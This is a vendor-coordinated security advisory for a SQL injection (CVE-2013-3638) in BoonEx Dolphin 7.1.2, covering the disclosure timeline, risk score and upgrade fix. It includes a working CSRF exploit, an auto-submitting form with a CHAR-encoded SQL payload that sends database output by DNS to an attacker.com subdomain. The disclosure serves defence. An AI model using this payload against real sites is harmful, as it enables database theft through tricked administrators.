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SQL Injection in Dolphin



Advisory ID: HTB23157
Product: Dolphin
Vendor: BoonEx
Vulnerable Version(s): 7.1.2 and probably prior
Tested Version: 7.1.2
Vendor Notification: May 22, 2013 
Vendor Patch: May 29, 2013 
Public Disclosure: June 12, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-3638
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability 
in Dolphin, which can be exploited to manipulate SQL requests passed to 
vulnerable application and obtain sensitive data from the database.


1) SQL Injection in Dolphin: CVE-2013-3638

The vulnerability exists due to insufficient validation of "pathes[]" HTTP POST 
parameter passed to "/administration/categories.php" PHP script. A remote 
authenticated administrator can execute arbitrary SQL commands in the 
application's database.

This vulnerability could also be exploited by a remote non-authenticated 
attacker via CSRF vector, since the application is prone to Cross-Site Request 
Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in 
application administrator to visit a web page with CSRF exploit.

The basic CSRF exploit code below is based on DNS Exfiltration technique and 
may be used if the database of the vulnerable application is hosted on a 
Windows system. The exploit will send a DNS request demanding IP addess for 
`version()` (or any other sensetive output from the database) subdomain of 
".attacker.com" (a domain name, DNS server of which is controlled by the 
attacker):


<form action="http://[host]/administration/categories.php"; method="post" 
name="main">
<input type="hidden" name="pathes[]"   value="1%%(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- %%1">
<input type="hidden" name="action_disable"   value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Upgrade to Dolphin 7.1.3

More Information:
http://www.boonex.com/trac/dolphin/changeset/17659
http://www.boonex.com/trac/dolphin/milestone/Dolphin%207.1.3
http://www.boonex.com/n/stability-security-spam-prevention-and-more


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References:

[1] High-Tech Bridge Advisory HTB23157 - 
https://www.htbridge.com/advisory/HTB23157 - SQL Injection in Dolphin.
[2] Dolphin - http://www.boonex.com - The world's most advanced software 
platform for building vibrant community websites.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.